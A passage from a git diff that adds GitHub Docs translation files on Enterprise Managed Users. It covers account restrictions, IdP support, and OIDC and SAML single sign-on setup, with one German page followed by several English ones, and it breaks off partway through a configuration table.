+  - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users
+versions:
+  ghec: '*'
+type: overview
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 82a8b8c29ea38d57f0481146f2a857c2dcba8413
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160728'
+---
+## Informationen zu {% data variables.product.prodname_emus %}
+
+Mit {% data variables.product.prodname_emus %} kannst du die Benutzerkonten der Unternehmensmitglieder über deinen Identitätsanbieter (Identity Provider, IdP) steuern. Benutzer, die der Anwendung {% data variables.product.prodname_emu_idp_application %} auf dem IdP zugewiesen sind, werden als neue Benutzerkonten auf {% data variables.product.prodname_dotcom %} bereitgestellt und deinem Unternehmen hinzugefügt. Du steuerst Benutzernamen, Profildaten, Teammitgliedschaft und Repositoryzugriff für die Benutzerkonten über den IdP.
+
+Auf deinem IdP kannst du jedem {% data variables.enterprise.prodname_managed_user %} die Rolle des Benutzers, des Unternehmensbesitzers oder des Abrechnungs-Managers zuweisen. {% data variables.enterprise.prodname_managed_users_caps %} können Organisationen innerhalb deines Unternehmens besitzen und andere {% data variables.enterprise.prodname_managed_users %} den Organisationen und Teams innerhalb des Unternehmens hinzufügen. Weitere Informationen findest du unter [Rollen in einem Unternehmen](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise) und [Informationen zu Organisationen](/organizations/collaborating-with-groups-in-organizations/about-organizations).
+
+{% ifversion oidc-for-emu %}
+
+{% data reusables.enterprise-accounts.emu-cap-validates %} Weitere Informationen findest du unter [Informationen zur Unterstützung der Richtlinie für bedingten Zugriff deines IdP](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy).
+
+{% endif %}
+
+Du kannst für {% data variables.enterprise.prodname_managed_users %} Zugriff gewähren und die Möglichkeit bieten, Beiträge zu Repositorys innerhalb deines Unternehmens zu leisten, doch {% data variables.enterprise.prodname_managed_users %} sind nicht dazu in der Lage, öffentliche Inhalte zu erstellen oder mit anderen Benutzer*innen, Organisationen und Unternehmen im übrigen Bereich von {% data variables.product.prodname_dotcom %} zusammenzuarbeiten. Weitere Informationen findest du unter [Möglichkeiten und Einschränkungen von {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users).
+
+Die Benutzernamen der {% data variables.enterprise.prodname_managed_users %} deines Unternehmens und ihre Profilinformationen, z. B. Anzeigenamen und E-Mail-Adressen, werden durch deinen IdP festgelegt und können von den Benutzer*innen selbst nicht geändert werden. Weitere Informationen findest du unter [Benutzernamen und Profilinformationen](#usernames-and-profile-information).
+
+Unternehmensbesitzer*innen können alle Aktionen der {% data variables.enterprise.prodname_managed_users %} auf {% data variables.product.prodname_dotcom %} überprüfen. Weitere Informationen findest du unter [Überwachungsprotokollereignisse für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise).
+
+Zum Verwenden von {% data variables.product.prodname_emus %} benötigst du einen separaten Unternehmenskontotyp mit Aktivierung von {% data variables.product.prodname_emus %}. Weitere Informationen zum Erstellen dieses Kontos findest du unter [Informationen zu Unternehmen mit verwalteten Benutzern](#about-enterprises-with-managed-users).
+
+{% note %}
+
+**Hinweis:** Es gibt mehrere Optionen für die Identitäts- und Zugriffsverwaltung mit {% data variables.product.prodname_ghe_cloud %}, wobei {% data variables.product.prodname_emus %} nicht die beste Lösung für jeden Kunden ist. Weitere Informationen darüber, ob {% data variables.product.prodname_emus %} für dein Unternehmen geeignet ist, findest du unter [Informationen zur Authentifizierung für dein Unternehmen](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise).
+
+{% endnote %}
+
+## Informationen zum Verwalten der Organisationsmitgliedschaft
+
+Organisationsmitgliedschaften können manuell verwaltet oder automatisch mithilfe von IdP-Gruppen aktualisiert werden. Um Organisationsmitgliedschaften über deinen IdP zu verwalten, müssen die Mitglieder einer IdP-Gruppe hinzugefügt werden, und die Gruppe muss mit einem Team innerhalb der Organisation verbunden sein. Weitere Informationen zum automatischen Verwalten von Organisation und Teammitgliedschaft findest du unter [Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups).
+
+Die Art, wie Mitglieder zu einer Organisation hinzugefügt werden, die deinem Unternehmen gehört – entweder über IdP-Gruppen oder manuell – bestimmt, wie sie aus einer Organisation entfernt werden müssen. 
+
+- Wenn ein Mitglied einer Organisation manuell hinzugefügt wurde, musst du es manuell entfernen. Wenn du seine Zuweisung zur {% data variables.product.prodname_emu_idp_application %}-Anwendung auf deinem IdP aufhebst, wird das Mitglied gesperrt, jedoch nicht aus der Organisation entfernt.
+- Wenn Benutzer*innen Mitglieder einer Organisation wurden, da sie zu IdP-Gruppen hinzugefügt wurden, die einem oder mehreren Teams in der Organisation zugeordnet sind, werden sie, wenn sie aus _allen_ zugeordneten IDP-Gruppen entfernt werden, die der Organisation zugeordnet sind, auch aus der Organisation entfernt.
+
+Um zu ermitteln, wie ein Mitglied einer Organisation hinzugefügt wurde, kannst du die Mitgliederliste nach Typ filtern. Weitere Informationen findest du unter [Anzeigen von Personen in deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users).
+
+## Unterstützung für Identitätsanbieter
+
+{% data variables.product.prodname_emus %} unterstützt die folgenden IdPs{% ifversion oidc-for-emu %} und Authentifizierungsmethoden:
+
+|                                  | SAML                                          | OIDC (Beta)                                   |
+|----------------------------------|-----------------------------------------------|-----------------------------------------------|
+| Azure Active Directory           | {% octicon "check" aria-label="Check icon" %} | {% octicon "check" aria-label="Check icon" %} |
+| Okta                             | {% octicon "check" aria-label="Check icon" %} |                                               |
+{% else %}:
+
+{% data reusables.enterprise-accounts.emu-supported-idps %}
+
+{% endif %}
+
+## Möglichkeiten und Einschränkungen von {% data variables.enterprise.prodname_managed_users %}
+
+{% data variables.enterprise.prodname_managed_users_caps %} können nur zu privaten und internen Repositorys innerhalb ihres Unternehmens und privaten Repositorys im Besitz ihres Benutzerkontos beitragen. {% data variables.enterprise.prodname_managed_users_caps %} haben schreibgeschützten Zugriff auf die breitere {% data variables.product.prodname_dotcom %}-Community. Diese Sichtbarkeits- und Zugriffsbeschränkungen für Benutzer und Inhalte gelten für alle Anforderungen, einschließlich API-Anforderungen.
+
+* {% data variables.enterprise.prodname_managed_users_caps %} können weder zu Organisationen oder Repositorys außerhalb des Unternehmens eingeladen werden noch können die {% data variables.enterprise.prodname_managed_users %} zu anderen Unternehmen eingeladen werden. 
+* Externe Projektmitarbeiter werden von {% data variables.product.prodname_emus %} nicht unterstützt.
+* {% data variables.enterprise.prodname_managed_users_caps %} können keine Issues oder Pull Requests in Repositorys außerhalb des Unternehmens erstellen, Kommentare oder Reaktionen zu ihnen hinzufügen sowie diese nicht mit Sternen versehen, überwachen oder forken.
+* {% data variables.enterprise.prodname_managed_users_caps %} können alle öffentlichen Repositorys auf {% data variables.product.prodname_dotcom_the_website %} anzeigen, jedoch keinen Code an Repositorys außerhalb des Unternehmens pushen.
+* {% data variables.enterprise.prodname_managed_users_caps %} und die Inhalte, die sie erstellen, sind nur für andere Mitglieder des Unternehmens sichtbar. 
+* {% data variables.enterprise.prodname_managed_users_caps %} können Benutzer*innen außerhalb des Unternehmens nicht folgen.
+* {% data variables.enterprise.prodname_managed_users_caps %} können keine Gists erstellen und kommentieren.
+* {% data variables.enterprise.prodname_managed_users_caps %} können keine Starterworkflows für {% data variables.product.prodname_actions %} erstellen.
+* {% data variables.enterprise.prodname_managed_users_caps %} können {% data variables.product.prodname_github_apps %} nicht auf ihren Benutzerkonten installieren.
+* Andere {% data variables.product.prodname_dotcom %}-Benutzer*innen können keine {% data variables.enterprise.prodname_managed_user %} sehen, erwähnen oder zur Zusammenarbeit einladen.
+* Du kannst auswählen, ob {% data variables.enterprise.prodname_managed_users %} Repositorys im Besitz ihrer Benutzerkonten erstellen können. Weitere Informationen findest du unter [Erzwingen von Repositoryverwaltungsrichtlinien in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation).
+* Wenn du {% data variables.enterprise.prodname_managed_users %} erlaubst, Repositorys im Besitz ihrer Benutzerkonten zu erstellen, können sie nur private Repositorys besitzen und nur andere Unternehmensmitglieder einladen, an ihren Benutzerrepositorys mitzuarbeiten.
+* {% data reusables.enterprise-accounts.emu-forks %}
+* Je nach Sichtbarkeitseinstellungen für Organisations- und Unternehmensrepositorys können nur private und interne Repositorys in Organisationen im Besitz eines {% data variables.enterprise.prodname_emu_enterprise %} erstellt werden. 
+* {% data variables.enterprise.prodname_managed_users_caps %} können {% data variables.product.prodname_pages %} nur eingeschränkt verwenden. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users).
+* {% data reusables.copilot.emus-cannot-use-copilot %}
+
+## Erste Schritte mit {% data variables.product.prodname_emus %}
+
+Ehe deine Entwickler {% data variables.product.prodname_ghe_cloud %} mit {% data variables.product.prodname_emus %} verwenden können, musst du eine Reihe von Konfigurationsschritten durchführen.
+
+1. Zum Verwenden von {% data variables.product.prodname_emus %} benötigst du einen separaten Unternehmenskontotyp mit Aktivierung von {% data variables.product.prodname_emus %}. Zum Ausprobieren von {% data variables.product.prodname_emus %} oder zum Besprechen von Optionen zum Migrieren deines vorhandenen Unternehmens kannst du dich an das [{% data variables.product.prodname_dotcom %}-Vertriebsteam wenden](https://enterprise.github.com/contact).
+  
+  Dein Ansprechpartner im GitHub-Vertriebsteam arbeitet mit dir zusammen, um dein neues {% data variables.enterprise.prodname_emu_enterprise %} zu erstellen. Du musst die E-Mail-Adresse für den Benutzer bereitstellen, der dein Unternehmen einrichtet, und einen kurzen Code, der als Suffix für die Benutzernamen deiner Unternehmensmitglieder verwendet wird. {% data reusables.enterprise-accounts.emu-shortcode %} Weitere Informationen findest du unter [Benutzernamen und Profilinformationen](#usernames-and-profile-information).
+  
+2. Nachdem das Unternehmen erstellt ist, erhältst du eine E-Mail von {% data variables.product.prodname_dotcom %}, in der du gebeten wirst, ein Kennwort für den Setupbenutzer deines Unternehmens auszuwählen, der als erster Besitzer des Unternehmens geführt wird. Verwende den Inkognito-Modus oder ein privates Browserfenster beim Festlegen des Kennworts. Der Setupbenutzer wird nur zum Konfigurieren der SSO- und SCIM-Bereitstellungsintegration für das Unternehmen verwendet. Der Setupbenutzer hat keinen Zugriff mehr auf die Verwaltung des Unternehmenskontos, nachdem SSO erfolgreich aktiviert wurde. Der Benutzername des Setupbenutzers ist der kurze Code deines Unternehmens mit dem Suffix `_admin`. 
+  
+  {% note %}
+  
+  {% data reusables.enterprise-accounts.emu-password-reset-session %}
+  
+  {% endnote %}
+  
+3. Nachdem du dich als Setupbenutzer angemeldet hast, empfehlen wir die Aktivierung der zweistufigen Authentifizierung. Weitere Informationen findest du unter [Konfigurieren der zweistufigen Authentifizierung](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication).
+
+1. Konfiguriere zunächst {% ifversion oidc-for-emu %}, wie sich deine Mitglieder authentifizieren sollen. Wenn du Azure Active Directory als Identitätsanbieter verwendest, kannst du zwischen OpenID Connect (OIDC) und Security Assertion Markup Language (SAML) wählen. Beide Optionen bieten eine nahtlose Anmeldungsumgebung für deine Mitglieder, aber nur OIDC bietet Unterstützung von Richtlinien für bedingten Zugriff. Wenn du Okta als Identitätsanbieter verwendest, kannst du SAML für die Authentifizierung deiner Mitglieder nutzen.{% else %}SAML SSO für dein Unternehmen. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users).{% endif %}
+  
+  {% ifversion oidc-for-emu %}
+  
+  Lies zunächst den Leitfaden für deine gewählte Authentifizierungsmethode.
+  
+    - [Konfigurieren von OIDC für Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)
+    - [Konfigurieren von SAML Single Sign-On für Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)
+  
+  {% endif %}
+  
+4. Sobald du SSO konfiguriert hast, kannst du die SCIM-Bereitstellung konfigurieren. SCIM ist dafür zuständig, wie dein Identitätsanbieter {% data variables.enterprise.prodname_managed_users %} auf {% data variables.product.prodname_dotcom_the_website %} zu erstellen. Weitere Informationen findest du unter [Konfigurieren der SCIM-Bereitstellung für Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users).
+  
+5. Sobald die Authentifizierung und Bereitstellung konfiguriert sind, kannst du mit der Verwaltung der Organisationsmitgliedschaft für deine {% data variables.enterprise.prodname_managed_users %} beginnen, indem du IdP-Gruppen mit Teams synchronisierst. Weitere Informationen findest du unter [Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups).
+
+Wenn Mitglieder deines Unternehmens eine einzige Arbeitsstation verwenden müssen, um an Repositorys auf {% data variables.location.product_location %} sowohl über ein {% data variables.enterprise.prodname_managed_user %} als auch über ein persönliches Konto mitzuwirken, kannst du Support bereitstellen. Weitere Informationen findest du unter [Unterstützen von Entwicklern mit mehreren Benutzerkonten auf {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom).
+
+## Authentifizieren als {% data variables.enterprise.prodname_managed_user %}
+
+{% data variables.enterprise.prodname_managed_users_caps %} müssen sich über ihren Identitätsanbieter authentifizieren. Zum Authentifizieren kann ein {% data variables.enterprise.prodname_managed_user %} sein IdP-Anwendungsportal besuchen oder die Anmeldeseite auf {% data variables.product.prodname_dotcom_the_website %} verwenden. 
+
+Wenn nicht authentifizierte Benutzer*innen versuchen, auf ein Unternehmen mit {% data variables.product.prodname_emus %} zuzugreifen, zeigt {% data variables.product.company_short %} standardmäßig den Fehler 404 an. Unternehmensbesitzer*innen können optional automatische Umleitungen zum einmaligen Anmelden (SSO) anstelle des Fehlers 404 aktivieren. Weitere Informationen findest du unter [Erzwingen von Richtlinien für Sicherheitseinstellungen in deinem Unternehmen](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users).
+
+{% data reusables.enterprise-accounts.about-recovery-codes %} Weitere Informationen findest du unter [Verwalten von Wiederherstellungscodes für dein Unternehmen](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise).
+
+### Authentifizieren als {% data variables.enterprise.prodname_managed_user %} über {% data variables.product.prodname_dotcom_the_website %}
+
+1. Navigiere zu [https://github.com/login](https://github.com/login).
+1. Gib im Textfeld „Username or email address“ (Benutzername oder E-Mail-Adresse) deinen Benutzernamen ein, einschließlich des Unterstrichs und des kurzen Codes.
+  ![Screenshot mit Anmeldeformular](/assets/images/help/enterprises/emu-login-username.png) Wenn dein Benutzername vom Formular erkannt wird, wird das Formular aktualisiert. Du musst dein Kennwort in diesem Formular nicht eingeben.
+1. Klicke auf **Sign in with your identity provider** (Anmelden mit Identitätsanbieter), um den Vorgang über deinen Identitätsanbieter fortzusetzen.
+  ![Screenshot mit der Schaltfläche „Sign in with your identity provider“ (Anmelden mit Identitätsanbieter)](/assets/images/help/enterprises/emu-login-submit.png)
+
+## Benutzernamen und Profilinformationen
+
+{% data variables.product.product_name %} erstellt automatisch einen Benutzernamen für jede Person, indem ein von deinem IdP bereitgestellter Bezeichner normalisiert wird. Weitere Informationen findest du unter [Überlegungen zu Benutzernamen zur externen Authentifizierung](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication).
+
+Bei der Bereitstellung von Benutzern kann ein Konflikt auftreten, wenn die eindeutigen Teile des von deinem IdP bereitgestellten Bezeichners während der Normalisierung entfernt werden. Wenn du einen Benutzer aufgrund eines Benutzernamenskonflikts nicht bereitstellen kannst, solltest du den vom IdP bereitgestellten Benutzernamen ändern. Weitere Informationen findest du unter [Beheben von Problemen mit Benutzernamen](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems).
+
+{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %} 
+
+Der Profilname und die E-Mail-Adresse von einem {% data variables.enterprise.prodname_managed_user %} wird auch vom IdP bereitgestellt. {% data variables.enterprise.prodname_managed_users_caps %} können ihren Profilnamen oder ihre E-Mail-Adresse auf {% data variables.product.prodname_dotcom %} nicht ändern, und der IdP kann nur eine einzelne E-Mail-Adresse bereitstellen.
+
+## Unterstützen von Entwickler*innen mit mehreren Benutzerkonten auf {% data variables.location.product_location %}
+
+Personen in deinem Team müssen möglicherweise an Ressourcen auf {% data variables.location.product_location %} mitwirken, die sich außerhalb deines {% data variables.enterprise.prodname_emu_enterprise %} befinden. Beispielsweise möchtest du ein separates Unternehmen für die Open-Source Projekte deines Unternehmens verwalten. Da ein {% data variables.enterprise.prodname_managed_user %} nicht an öffentlichen Ressourcen mitwirken kann, müssen Benutzer*innen für diese Arbeit über ein separates, persönliches Konto verfügen.
+
+Personen, die von zwei Benutzerkonten auf {% data variables.location.product_location %} und mithilfe einer einzigen Arbeitsstation mitwirken müssen, können Git für einen vereinfachten Prozess konfigurieren. Weitere Informationen findest du unter [Verwalten mehrerer Konten](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts).
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md
new file mode 100644
index 0000000000..74dd43ee44
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md
@@ -0,0 +1,49 @@
+---
+title: About support for your IdP's Conditional Access Policy
+shortTitle: Conditional access policy
+intro: 'When your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will validate access to your enterprise and its resources using your IdP''s Conditional Access Policy (CAP).'
+product: '{% data reusables.gated-features.emus %}'
+versions:
+  feature: oidc-for-emu
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+---
+
+{% data reusables.enterprise-accounts.oidc-beta-notice %}
+
+## About support for Conditional Access Policies
+
+{% data reusables.enterprise-accounts.emu-cap-validates %}
+
+CAP support is enabled automatically for any {% data variables.enterprise.prodname_emu_enterprise %} that enables OIDC SSO and cannot be disabled. {% data variables.product.prodname_dotcom %} enforces your IdP's IP conditions but not device compliance conditions.
+
+For more information about using OIDC with {% data variables.product.prodname_emus %}, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)" and "[Migrating from SAML to OIDC](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc)."
+
+{% note %}
+
+**Note:** If you use Conditional Access (CA) network location policies in your Azure AD tenant, do not use the IP allow list feature on {% data variables.product.prodname_dotcom_the_website %}, with your enterprise account or with any of the organizations owned by the enterprise. Using both is unsupported and can result in the wrong policy applying. For more information about IP allow lists, see "[Enforcing security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)" and "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization)."
+
+{% endnote %}
+
+## Considerations for integrations and automations
+
+{% data variables.product.prodname_dotcom %} sends the originating IP address to your IdP for validation against your CAP. To make sure  actions and apps are not blocked by your IdP's CAP, you will need to make changes to your configuration.
+
+{% data reusables.enterprise-accounts.oidc-gei-warning %}
+
+### {% data variables.product.prodname_actions %}
+
+Actions that use a {% data variables.product.pat_generic %} will likely be blocked by your IdP's CAP. We recommend that {% data variables.product.pat_generic %}s are created by a service account which is then exempted from IP controls in your IdP's CAP. 
+
+If you're unable to use a service account, another option for unblocking actions that use {% data variables.product.pat_generic %}s is to allow the IP ranges used by {% data variables.product.prodname_actions %}. For more information, see "[About GitHub's IP addresses](/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses)."
+
+### {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} 
+
+When {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} make requests on a member's behalf, {% data variables.product.prodname_dotcom %} will send the IP address of the app's server to your IdP for validation. If the IP address of the app's server is not validated by your IdP's CAP, the request will fail.
+
+You can contact the owners of the apps you want to use, ask for their IP ranges, and configure your IdP's CAP to allow access from those IP ranges. If you're unable to contact the owners, you can review your IdP sign-in logs to review the IP addresses seen in the requests, then allow-list those addresses. 
+
+You can also enable IP allow list configuration for installed {% data variables.product.prodname_github_apps %}. When enabled, all {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} will continue working regardless of the originating IP address. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#allowing-access-by-github-apps)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md
new file mode 100644
index 0000000000..66e9c9d84f
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md
@@ -0,0 +1,49 @@
+---
+title: Configuring OIDC for Enterprise Managed Users
+shortTitle: OIDC for managed users
+intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring OpenID Connect (OIDC) single sign-on (SSO) and enable support for your IdP''s Conditional Access Policy (CAP).'
+product: '{% data reusables.gated-features.emus %}'
+versions:
+  feature: oidc-for-emu
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+---
+
+{% data reusables.enterprise-accounts.oidc-beta-notice %}
+
+## About OIDC for Enterprise Managed Users
+
+With {% data variables.product.prodname_emus %}, your enterprise uses your identity provider (IdP) to authenticate all members. You can use OpenID Connect (OIDC) to manage authentication for your {% data variables.enterprise.prodname_emu_enterprise %}. Enabling OIDC SSO is a one-click setup process with certificates managed by {% data variables.product.prodname_dotcom %} and your IdP.
+
+{% data reusables.enterprise-accounts.emu-cap-validates %} For more information, see "[About support for your IdP's Conditional Access Policy](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)."
+
+You can adjust the lifetime of a session, and how often a {% data variables.enterprise.prodname_managed_user %} needs to reauthenticate with your IdP, by changing the lifetime policy property of the ID tokens issued for {% data variables.product.prodname_dotcom %} from  your IdP. The default lifetime is one hour. For more information, see "[Configurable token lifetimes in the Microsoft identity platform](https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes)" in the Azure AD documentation.
+
+If you currently use SAML SSO for authentication and would prefer to use OIDC and benefit from CAP support, you can follow a migration path. For more information, see "[Migrating from SAML to OIDC](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc)." 
+
+{% data reusables.enterprise-accounts.oidc-gei-warning %}
+
+## Identity provider support
+
+Support for OIDC is in public beta and available for customers using Azure Active Directory (Azure AD). 
+
+Each Azure AD tenant can support only one OIDC integration with {% data variables.product.prodname_emus %}. If you want to connect Azure AD to more than one enterprise on {% data variables.product.prodname_dotcom %}, use SAML instead. For more information, see "[Configuring SAML single sign-on for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+
+## Configuring OIDC for Enterprise Managed Users
+
+1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@<em>SHORT-CODE</em>_admin**.
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Select **Require OIDC single sign-on**.  
+   ![Screenshot showing the "Require OIDC single sign-on" checkbox](/assets/images/help/enterprises/require-oidc.png)
+1. To continue setup and be redirected to Azure AD, click **Save**.
+{% data reusables.enterprise-accounts.emu-azure-admin-consent %}
+{% data reusables.enterprise-accounts.download-recovery-codes %}
+
+## Enabling provisioning
+
+After you enable OIDC SSO, enable provisioning. For more information, see "[Configuring SCIM provisioning for enterprise managed users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md
new file mode 100644
index 0000000000..fe4dde3d44
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md
@@ -0,0 +1,117 @@
+---
+title: Configuring SAML single sign-on for Enterprise Managed Users
+shortTitle: SAML for managed users
+intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring Security Assertion Markup Language (SAML) single sign-on (SSO).'
+product: '{% data reusables.gated-features.emus %}'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users
+  - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users
+versions:
+  ghec: '*'
+type: tutorial
+topics:
+  - Authentication
+  - Enterprise
+  - SSO
+---
+
+## About SAML single sign-on for {% data variables.product.prodname_emus %}
+
+With {% data variables.product.prodname_emus %}, your enterprise uses SAML SSO to authenticate all members. Instead of signing in to {% data variables.product.prodname_dotcom %} with a {% data variables.product.prodname_dotcom %} username and password, members of your enterprise will sign in through your IdP.
+
+{% data variables.product.prodname_emus %} supports the following IdPs:
+
+{% data reusables.enterprise-accounts.emu-supported-idps %}
+
+After you configure SAML SSO, we recommend storing your recovery codes so you can recover access to your enterprise in the event that your identity provider is unavailable.
+
+{% note %}
+
+**Note:** When SAML SSO is enabled, the only setting you can update on {% data variables.product.prodname_dotcom %} for your existing SAML configuration is the SAML certificate. If you need to update the Sign on URL or Issuer, you must first disable SAML SSO and then reconfigure SAML SSO with the new settings.
+
+{% endnote %}
+
+## Configuring SAML single sign-on for {% data variables.product.prodname_emus %}
+
+To configure SAML SSO for your {% data variables.enterprise.prodname_emu_enterprise %}, you must configure an application on your IdP and then configure your enterprise on GitHub.com. After you configure SAML SSO, you can configure user provisioning. 
+
+To install and configure the {% data variables.product.prodname_emu_idp_application %} application on your IdP, you must have a tenant and administrative access on a supported IdP.
+
+{% note %}
+
+{% data reusables.enterprise-accounts.emu-password-reset-session %}
+
+{% endnote %}
+
+1. [Configuring your identity provider](#configuring-your-identity-provider)
+2. [Configuring your enterprise](#configuring-your-enterprise)
+3. [Enabling provisioning](#enabling-provisioning)
+
+### Configuring your identity provider
+
+To configure your IdP, follow the instructions they provide for configuring the {% data variables.product.prodname_emu_idp_application %} application on your IdP.
+
+1. To install the {% data variables.product.prodname_emu_idp_application %} application, click the link for your IdP below:
+
+     - [{% data variables.product.prodname_emu_idp_application %} application on Azure Active Directory](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview)
+     - [{% data variables.product.prodname_emu_idp_application %} application on Okta](https://www.okta.com/integrations/github-enterprise-managed-user)
+
+1. To configure the {% data variables.product.prodname_emu_idp_application %} application and your IdP, click the link below and follow the instructions provided by your IdP:
+
+     - [Azure Active Directory tutorial for {% data variables.product.prodname_emus %}](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-tutorial)
+     - [Okta documentation for {% data variables.product.prodname_emus %}](https://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-GitHub-Enterprise-Managed-User.html)
+
+1. So you can test and configure your enterprise, assign yourself or the user that will be configuring SAML SSO on {% data variables.product.prodname_dotcom %} to the {% data variables.product.prodname_emu_idp_application %} application on your IdP.
+
+1. To enable you to continue configuring your enterprise on {% data variables.product.prodname_dotcom %}, locate and note the following information from the application you installed on your IdP:
+
+    | Value | Other names | Description |
+    | :- | :- | :- |
